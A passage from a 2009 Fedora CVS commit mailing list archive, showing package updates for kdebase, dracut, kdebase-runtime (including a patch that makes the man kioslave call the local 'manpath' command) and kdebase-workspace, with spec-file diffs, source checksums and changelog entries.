 echo 'OnlyShowIn=KDE;' >> %{buildroot}%{_kde4_datadir}/applications/kde4/konquerorsu.desktop
 
+# create/own some dirs 
+mkdir -p %{buildroot}%{_kde4_appsdir}/konqueror/{kpartplugins,icons,opensearch}
+
+HTML_DIR=$(kde4-config --expandvars --install html)
+if [ -d %{buildroot}${HTML_DIR} ]; then
+for lang_dir in %{buildroot}${HTML_DIR}/* ; do
+  if [ -d ${lang_dir} ]; then
+    lang=$(basename ${lang_dir})
+    echo "%lang(${lang}) ${HTML_DIR}/${lang}/*/" >> %{name}.lang
+  fi
+done
+fi
 
 
 %clean
@@ -172,7 +186,7 @@ fi
 %postun libs -p /sbin/ldconfig
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_kde4_bindir}/*
 %{_kde4_datadir}/applications/kde4/*.desktop
@@ -186,7 +200,6 @@ fi
 %{_kde4_datadir}/kde4/services/kded/*.desktop
 %{_kde4_datadir}/kde4/services/useragentstrings/
 %{_kde4_datadir}/kde4/servicetypes/*.desktop
-%{_kde4_docdir}/HTML/en/*
 %{_kde4_libdir}/kde4/*.so
 %exclude %{_kde4_libdir}/kde4/devel/
 %{_mandir}/man1/*
@@ -215,6 +228,18 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
+- BR: webkitpart-devel
+- fix Provides: kdebase4%%{?_isa} (not kdelibs)
+
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- own %%_kde4_appsdir/konqueror/{kpartplugins,icons,opensearch}
+- %%lang'ify HTML docs
+- Provides: kdelibs4%%{?_isa} 
+
 * Wed Sep  2 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.1-2
 - fix context menus in Konsole (kdebug:186745)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-11/sources,v
retrieving revision 1.112
retrieving revision 1.113
diff -u -p -r1.112 -r1.113
--- sources	1 Sep 2009 12:55:12 -0000	1.112
+++ sources	6 Oct 2009 12:49:19 -0000	1.113
@@ -1 +1 @@
-10dae53739f1e8bd6f5f615443649e4f  kdebase-4.3.1.tar.bz2
+7d6b968d8d8dd3730522389dabbb23e2  kdebase-4.3.2.tar.bz2


--- kdebase-4.3.2-konsolemenus.patch DELETED ---



From harald at fedoraproject.org  Tue Oct  6 12:52:02 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue,  6 Oct 2009 12:52:02 +0000 (UTC)
Subject: rpms/dracut/F-12 .cvsignore, 1.22, 1.23 dracut.spec, 1.37,
	1.38 sources, 1.23, 1.24
Message-ID: <20091006125202.3A42211C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32237

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 002-12
- add missing loginit helper
- corrected dracut manpage



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	1 Oct 2009 18:03:54 -0000	1.22
+++ .cvsignore	6 Oct 2009 12:52:01 -0000	1.23
@@ -1 +1 @@
-dracut-002-a8a3ca51.tar.bz2
+dracut-002-8f397a9b.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- dracut.spec	1 Oct 2009 18:03:54 -0000	1.37
+++ dracut.spec	6 Oct 2009 12:52:01 -0000	1.38
@@ -1,4 +1,4 @@
-%define gittag a8a3ca51
+%define gittag 8f397a9b
 %if 0%{?fedora} < 12
 %define with_switch_root 1
 %else
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 11%{?rdist}
+Release: 12%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -184,6 +184,10 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 002-12
+- add missing loginit helper
+- corrected dracut manpage
+
 * Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-11
 - fixed dracut-gencmdline for root=UUID or LABEL
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	1 Oct 2009 18:03:54 -0000	1.23
+++ sources	6 Oct 2009 12:52:02 -0000	1.24
@@ -1 +1 @@
-3747d8c10829f25d2109bbc606cfe0cd  dracut-002-a8a3ca51.tar.bz2
+20cdc79ad733a9a5b12679d23f65f3b2  dracut-002-8f397a9b.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:01:10 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:01:10 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime-4.3.1-manpath.patch, NONE,
	1.1 .cvsignore, 1.30, 1.31 kdebase-runtime.spec, 1.97,
	1.98 sources, 1.33, 1.34
Message-ID: <20091006130110.11B3511C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2347/F-10

Modified Files:
	.cvsignore kdebase-runtime.spec sources 
Added Files:
	kdebase-runtime-4.3.1-manpath.patch 
Log Message:
KDE 4.3.2


kdebase-runtime-4.3.1-manpath.patch:
 kio_man.cpp |   49 ++++++++++++++++++++++++++++++++++++++++++++++++-
 kio_man.h   |    4 +++-
 2 files changed, 51 insertions(+), 2 deletions(-)

--- NEW FILE kdebase-runtime-4.3.1-manpath.patch ---
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath	2009-06-03 13:54:13.000000000 +0200
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp	2009-09-30 19:25:03.254684269 +0200
@@ -1,5 +1,6 @@
 /*  This file is part of the KDE libraries
     Copyright (c) 2000 Matthias Hoelzer-Kluepfel <mhk at caldera.de>
+    Copyright (c) 2009 Red Hat, Inc.
 
     This library is free software; you can redistribute it and/or
     modify it under the terms of the GNU Library General Public
@@ -17,6 +18,13 @@
     Boston, MA 02110-1301, USA.
 */
 
+/* 
+ Changes:
+ 
+ - 2009-09-30: use manpath binary if available to construct the man path (Nils
+               Philippsen <nils at redhat.com>)
+*/
+
 #include "kio_man.h"
 
 #include <stdio.h>
@@ -31,6 +39,8 @@
 #include <QTextStream>
 #include <QDataStream>
 #include <QMap>
+#include <QIODevice>
+#include <QProcess>
 #include <QRegExp>
 #include <QTextCodec>
 
@@ -817,7 +827,7 @@ void MANProtocol::showMainIndex()
     finished();
 }
 
-void MANProtocol::constructPath(QStringList& constr_path, QStringList constr_catmanpath)
+void MANProtocol::constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath)
 {
     QMap<QString, QString> manpath_map;
     QMap<QString, QString> mandb_map;
@@ -984,6 +994,43 @@ void MANProtocol::constructPath(QStringL
     }
 }
 
+void MANProtocol::constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    QProcess manpath;
+    QStringList args;
+
+    // start the "manpath" command, ...
+    manpath.start( "manpath", args, QIODevice::ReadOnly );
+
+    // ... wait (forever) until it's started, ...
+    if ( ! manpath.waitForStarted( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... wait (forever) until it's finished, ...
+    if ( ! manpath.waitForFinished( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... grab its output, ...
+    QString manpath_output = QString( manpath.readAllStandardOutput() );
+
+    // ... close the process, ...
+    manpath.close();
+
+    // ... then process its output.
+    constr_path = manpath_output.split( ":", QString::SkipEmptyParts );
+}
+
+void MANProtocol::constructPath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    // Attempt to use the "manpath" command, ...
+    constructPathManpath( constr_path, constr_catmanpath );
+    if ( constr_path.count() == 0 )
+        // ... if that yields nothing, fall back to our own implementation
+        constructPathFallback ( constr_path, constr_catmanpath );
+}
+
 void MANProtocol::checkManPaths()
 {
     static bool inited = false;
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.h
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath	2008-11-19 11:17:53.000000000 +0100
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.h	2009-09-30 19:24:18.733936178 +0200
@@ -68,7 +68,9 @@ private:
     void addToBuffer(const char *buffer, int buflen);
     QString pageName(const QString& page) const;
     QStringList buildSectionList(const QStringList& dirs) const;
-    void constructPath(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath);
+    void constructPath(QStringList& constr_path, QStringList& constr_catmanpath);
 private:
     static MANProtocol *_self;
     QByteArray lastdir;


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-10/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	1 Sep 2009 13:01:54 -0000	1.30
+++ .cvsignore	6 Oct 2009 13:01:09 -0000	1.31
@@ -1 +1 @@
-kdebase-runtime-4.3.1.tar.bz2
+kdebase-runtime-4.3.2.tar.bz2


Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- kdebase-runtime.spec	15 Sep 2009 23:59:40 -0000	1.97
+++ kdebase-runtime.spec	6 Oct 2009 13:01:09 -0000	1.98
@@ -4,8 +4,8 @@
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
-Version:       4.3.1
-Release:       2%{?dist}
+Version:       4.3.2
+Release:       1%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -21,6 +21,7 @@ Patch1:        kdebase-runtime-4.1.x-sea
 Patch2:        kdebase-runtime-4.2.85-knetattach.patch
 Patch3:        kdebase-runtime-4.1.1-iconthemes-inherit.patch
 Patch4:        kdebase-runtime-4.3.0-nepomuk-autostart.patch
+Patch5:        kdebase-runtime-4.3.1-manpath.patch
 
 ## Upstream patches
 
@@ -94,6 +95,7 @@ BuildArch: noarch
 %patch2 -p1 -b .knetattach
 %patch3 -p1 -b .iconthemes-inherit
 %patch4 -p1 -b .nepomuk-autostart
+%patch5 -p1 -b .manpath
 
 %build
 mkdir -p %{_target_platform}
@@ -210,6 +212,16 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-4
+- fix manpath patch (spotted by Kevin Kofler)
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-3
+- if available, use the "manpath" command in the man kioslave to determine man
+  page file locations
+
 * Tue Sep 15 2009 Rex Dieter <rdieter at fedorproject.org> - 4.3.1-2
 - restore some previously inadvertantly omitted nepomuk ontologies
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-10/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	1 Sep 2009 13:01:54 -0000	1.33
+++ sources	6 Oct 2009 13:01:09 -0000	1.34
@@ -1 +1 @@
-e51384cef307280f41fa8f39e2ecab8a  kdebase-runtime-4.3.1.tar.bz2
+b0dfe65bc6d18c259c236889f92e2817  kdebase-runtime-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:01:10 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:01:10 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime-4.3.1-manpath.patch, NONE,
	1.1 .cvsignore, 1.35, 1.36 kdebase-runtime.spec, 1.120,
	1.121 sources, 1.35, 1.36
Message-ID: <20091006130110.73BED11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2347/F-11

Modified Files:
	.cvsignore kdebase-runtime.spec sources 
Added Files:
	kdebase-runtime-4.3.1-manpath.patch 
Log Message:
KDE 4.3.2


kdebase-runtime-4.3.1-manpath.patch:
 kio_man.cpp |   49 ++++++++++++++++++++++++++++++++++++++++++++++++-
 kio_man.h   |    4 +++-
 2 files changed, 51 insertions(+), 2 deletions(-)

--- NEW FILE kdebase-runtime-4.3.1-manpath.patch ---
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath	2009-06-03 13:54:13.000000000 +0200
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp	2009-09-30 19:25:03.254684269 +0200
@@ -1,5 +1,6 @@
 /*  This file is part of the KDE libraries
     Copyright (c) 2000 Matthias Hoelzer-Kluepfel <mhk at caldera.de>
+    Copyright (c) 2009 Red Hat, Inc.
 
     This library is free software; you can redistribute it and/or
     modify it under the terms of the GNU Library General Public
@@ -17,6 +18,13 @@
     Boston, MA 02110-1301, USA.
 */
 
+/* 
+ Changes:
+ 
+ - 2009-09-30: use manpath binary if available to construct the man path (Nils
+               Philippsen <nils at redhat.com>)
+*/
+
 #include "kio_man.h"
 
 #include <stdio.h>
@@ -31,6 +39,8 @@
 #include <QTextStream>
 #include <QDataStream>
 #include <QMap>
+#include <QIODevice>
+#include <QProcess>
 #include <QRegExp>
 #include <QTextCodec>
 
@@ -817,7 +827,7 @@ void MANProtocol::showMainIndex()
     finished();
 }
 
-void MANProtocol::constructPath(QStringList& constr_path, QStringList constr_catmanpath)
+void MANProtocol::constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath)
 {
     QMap<QString, QString> manpath_map;
     QMap<QString, QString> mandb_map;
@@ -984,6 +994,43 @@ void MANProtocol::constructPath(QStringL
     }
 }
 
+void MANProtocol::constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    QProcess manpath;
+    QStringList args;
+
+    // start the "manpath" command, ...
+    manpath.start( "manpath", args, QIODevice::ReadOnly );
+
+    // ... wait (forever) until it's started, ...
+    if ( ! manpath.waitForStarted( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... wait (forever) until it's finished, ...
+    if ( ! manpath.waitForFinished( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... grab its output, ...
+    QString manpath_output = QString( manpath.readAllStandardOutput() );
+
+    // ... close the process, ...
+    manpath.close();
+
+    // ... then process its output.
+    constr_path = manpath_output.split( ":", QString::SkipEmptyParts );
+}
+
+void MANProtocol::constructPath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    // Attempt to use the "manpath" command, ...
+    constructPathManpath( constr_path, constr_catmanpath );
+    if ( constr_path.count() == 0 )
+        // ... if that yields nothing, fall back to our own implementation
+        constructPathFallback ( constr_path, constr_catmanpath );
+}
+
 void MANProtocol::checkManPaths()
 {
     static bool inited = false;
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.h
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath	2008-11-19 11:17:53.000000000 +0100
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.h	2009-09-30 19:24:18.733936178 +0200
@@ -68,7 +68,9 @@ private:
     void addToBuffer(const char *buffer, int buflen);
     QString pageName(const QString& page) const;
     QStringList buildSectionList(const QStringList& dirs) const;
-    void constructPath(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath);
+    void constructPath(QStringList& constr_path, QStringList& constr_catmanpath);
 private:
     static MANProtocol *_self;
     QByteArray lastdir;


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-11/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	1 Sep 2009 13:01:54 -0000	1.35
+++ .cvsignore	6 Oct 2009 13:01:09 -0000	1.36
@@ -1 +1 @@
-kdebase-runtime-4.3.1.tar.bz2
+kdebase-runtime-4.3.2.tar.bz2


Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.120
retrieving revision 1.121
diff -u -p -r1.120 -r1.121
--- kdebase-runtime.spec	15 Sep 2009 23:58:42 -0000	1.120
+++ kdebase-runtime.spec	6 Oct 2009 13:01:10 -0000	1.121
@@ -4,8 +4,8 @@
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
-Version:       4.3.1
-Release:       2%{?dist}
+Version:       4.3.2
+Release:       1%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -21,6 +21,7 @@ Patch1:        kdebase-runtime-4.1.x-sea
 Patch2:        kdebase-runtime-4.2.85-knetattach.patch
 Patch3:        kdebase-runtime-4.1.1-iconthemes-inherit.patch
 Patch4:        kdebase-runtime-4.3.0-nepomuk-autostart.patch
+Patch5:        kdebase-runtime-4.3.1-manpath.patch
 
 ## Upstream patches
 
@@ -94,6 +95,7 @@ BuildArch: noarch
 %patch2 -p1 -b .knetattach
 %patch3 -p1 -b .iconthemes-inherit
 %patch4 -p1 -b .nepomuk-autostart
+%patch5 -p1 -b .manpath
 
 %build
 mkdir -p %{_target_platform}
@@ -210,6 +212,16 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-4
+- fix manpath patch (spotted by Kevin Kofler)
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-3
+- if available, use the "manpath" command in the man kioslave to determine man
+  page file locations
+
 * Tue Sep 15 2009 Rex Dieter <rdieter at fedorproject.org> - 4.3.1-2
 - restore some previously inadvertantly omitted nepomuk ontologies
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-11/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	1 Sep 2009 13:01:54 -0000	1.35
+++ sources	6 Oct 2009 13:01:10 -0000	1.36
@@ -1 +1 @@
-e51384cef307280f41fa8f39e2ecab8a  kdebase-runtime-4.3.1.tar.bz2
+b0dfe65bc6d18c259c236889f92e2817  kdebase-runtime-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:01:11 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:01:11 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel .cvsignore,1.39,1.40
Message-ID: <20091006130111.631C911C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2347/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	4 Oct 2009 10:17:12 -0000	1.39
+++ .cvsignore	6 Oct 2009 13:01:11 -0000	1.40
@@ -1,2 +1 @@
-kdebase-runtime-4.3.1.tar.bz2
 kdebase-runtime-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:01:11 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:01:11 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime-4.3.1-manpath.patch, NONE,
	1.1 .cvsignore, 1.38, 1.39 kdebase-runtime.spec, 1.141,
	1.142 sources, 1.39, 1.40
Message-ID: <20091006130111.4C6A211C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2347/F-12

Modified Files:
	.cvsignore kdebase-runtime.spec sources 
Added Files:
	kdebase-runtime-4.3.1-manpath.patch 
Log Message:
KDE 4.3.2


kdebase-runtime-4.3.1-manpath.patch:
 kio_man.cpp |   49 ++++++++++++++++++++++++++++++++++++++++++++++++-
 kio_man.h   |    4 +++-
 2 files changed, 51 insertions(+), 2 deletions(-)

--- NEW FILE kdebase-runtime-4.3.1-manpath.patch ---
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp.manpath	2009-06-03 13:54:13.000000000 +0200
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.cpp	2009-09-30 19:25:03.254684269 +0200
@@ -1,5 +1,6 @@
 /*  This file is part of the KDE libraries
     Copyright (c) 2000 Matthias Hoelzer-Kluepfel <mhk at caldera.de>
+    Copyright (c) 2009 Red Hat, Inc.
 
     This library is free software; you can redistribute it and/or
     modify it under the terms of the GNU Library General Public
@@ -17,6 +18,13 @@
     Boston, MA 02110-1301, USA.
 */
 
+/* 
+ Changes:
+ 
+ - 2009-09-30: use manpath binary if available to construct the man path (Nils
+               Philippsen <nils at redhat.com>)
+*/
+
 #include "kio_man.h"
 
 #include <stdio.h>
@@ -31,6 +39,8 @@
 #include <QTextStream>
 #include <QDataStream>
 #include <QMap>
+#include <QIODevice>
+#include <QProcess>
 #include <QRegExp>
 #include <QTextCodec>
 
@@ -817,7 +827,7 @@ void MANProtocol::showMainIndex()
     finished();
 }
 
-void MANProtocol::constructPath(QStringList& constr_path, QStringList constr_catmanpath)
+void MANProtocol::constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath)
 {
     QMap<QString, QString> manpath_map;
     QMap<QString, QString> mandb_map;
@@ -984,6 +994,43 @@ void MANProtocol::constructPath(QStringL
     }
 }
 
+void MANProtocol::constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    QProcess manpath;
+    QStringList args;
+
+    // start the "manpath" command, ...
+    manpath.start( "manpath", args, QIODevice::ReadOnly );
+
+    // ... wait (forever) until it's started, ...
+    if ( ! manpath.waitForStarted( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... wait (forever) until it's finished, ...
+    if ( ! manpath.waitForFinished( -1 ) )
+        // ... or errors out, ...
+        return;
+
+    // ... grab its output, ...
+    QString manpath_output = QString( manpath.readAllStandardOutput() );
+
+    // ... close the process, ...
+    manpath.close();
+
+    // ... then process its output.
+    constr_path = manpath_output.split( ":", QString::SkipEmptyParts );
+}
+
+void MANProtocol::constructPath(QStringList& constr_path, QStringList& constr_catmanpath)
+{
+    // Attempt to use the "manpath" command, ...
+    constructPathManpath( constr_path, constr_catmanpath );
+    if ( constr_path.count() == 0 )
+        // ... if that yields nothing, fall back to our own implementation
+        constructPathFallback ( constr_path, constr_catmanpath );
+}
+
 void MANProtocol::checkManPaths()
 {
     static bool inited = false;
diff -up kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath kdebase-runtime-4.3.1/kioslave/man/kio_man.h
--- kdebase-runtime-4.3.1/kioslave/man/kio_man.h.manpath	2008-11-19 11:17:53.000000000 +0100
+++ kdebase-runtime-4.3.1/kioslave/man/kio_man.h	2009-09-30 19:24:18.733936178 +0200
@@ -68,7 +68,9 @@ private:
     void addToBuffer(const char *buffer, int buflen);
     QString pageName(const QString& page) const;
     QStringList buildSectionList(const QStringList& dirs) const;
-    void constructPath(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathFallback(QStringList& constr_path, QStringList constr_catmanpath);
+    void constructPathManpath(QStringList& constr_path, QStringList& constr_catmanpath);
+    void constructPath(QStringList& constr_path, QStringList& constr_catmanpath);
 private:
     static MANProtocol *_self;
     QByteArray lastdir;


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-12/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	1 Sep 2009 13:01:55 -0000	1.38
+++ .cvsignore	6 Oct 2009 13:01:10 -0000	1.39
@@ -1 +1 @@
-kdebase-runtime-4.3.1.tar.bz2
+kdebase-runtime-4.3.2.tar.bz2


Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- kdebase-runtime.spec	15 Sep 2009 23:57:30 -0000	1.141
+++ kdebase-runtime.spec	6 Oct 2009 13:01:10 -0000	1.142
@@ -4,8 +4,8 @@
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
-Version:       4.3.1
-Release:       2%{?dist}
+Version:       4.3.2
+Release:       1%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -21,6 +21,7 @@ Patch1:        kdebase-runtime-4.1.x-sea
 Patch2:        kdebase-runtime-4.2.85-knetattach.patch
 Patch3:        kdebase-runtime-4.1.1-iconthemes-inherit.patch
 Patch4:        kdebase-runtime-4.3.0-nepomuk-autostart.patch
+Patch5:        kdebase-runtime-4.3.1-manpath.patch
 
 ## Upstream patches
 
@@ -94,6 +95,7 @@ BuildArch: noarch
 %patch2 -p1 -b .knetattach
 %patch3 -p1 -b .iconthemes-inherit
 %patch4 -p1 -b .nepomuk-autostart
+%patch5 -p1 -b .manpath
 
 %build
 mkdir -p %{_target_platform}
@@ -210,6 +212,16 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-4
+- fix manpath patch (spotted by Kevin Kofler)
+
+* Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-3
+- if available, use the "manpath" command in the man kioslave to determine man
+  page file locations
+
 * Tue Sep 15 2009 Rex Dieter <rdieter at fedorproject.org> - 4.3.1-2
 - restore some previously inadvertantly omitted nepomuk ontologies
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/F-12/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	28 Aug 2009 12:53:43 -0000	1.39
+++ sources	6 Oct 2009 13:01:10 -0000	1.40
@@ -1 +1 @@
-e51384cef307280f41fa8f39e2ecab8a  kdebase-runtime-4.3.1.tar.bz2
+b0dfe65bc6d18c259c236889f92e2817  kdebase-runtime-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:07:52 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:07:52 +0000 (UTC)
Subject: rpms/kdebase-workspace/F-10 .cvsignore, 1.28,
	1.29 kdebase-workspace.spec, 1.194, 1.195 sources, 1.33,
	1.34 kdebase-workspace-4.3.2-plasmaCrash.patch, 1.1, NONE
Message-ID: <20091006130752.6B9EA11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-workspace/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5260/F-10

Modified Files:
	.cvsignore kdebase-workspace.spec sources 
Removed Files:
	kdebase-workspace-4.3.2-plasmaCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-10/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	1 Sep 2009 13:05:18 -0000	1.28
+++ .cvsignore	6 Oct 2009 13:07:51 -0000	1.29
@@ -1 +1 @@
-kdebase-workspace-4.3.1.tar.bz2
+kdebase-workspace-4.3.2.tar.bz2


Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-10/kdebase-workspace.spec,v
retrieving revision 1.194
retrieving revision 1.195
diff -u -p -r1.194 -r1.195
--- kdebase-workspace.spec	27 Sep 2009 23:25:06 -0000	1.194
+++ kdebase-workspace.spec	6 Oct 2009 13:07:52 -0000	1.195
@@ -6,9 +6,9 @@
 
 Summary: K Desktop Environment - Workspace
 Name: kdebase-workspace
-Version: 4.3.1
+Version: 4.3.2
 
-Release: 9%{?dist}
+Release: 1%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -38,7 +38,6 @@ Patch17: kdebase-workspace-4.3.1-classic
 
 # upstream patches:
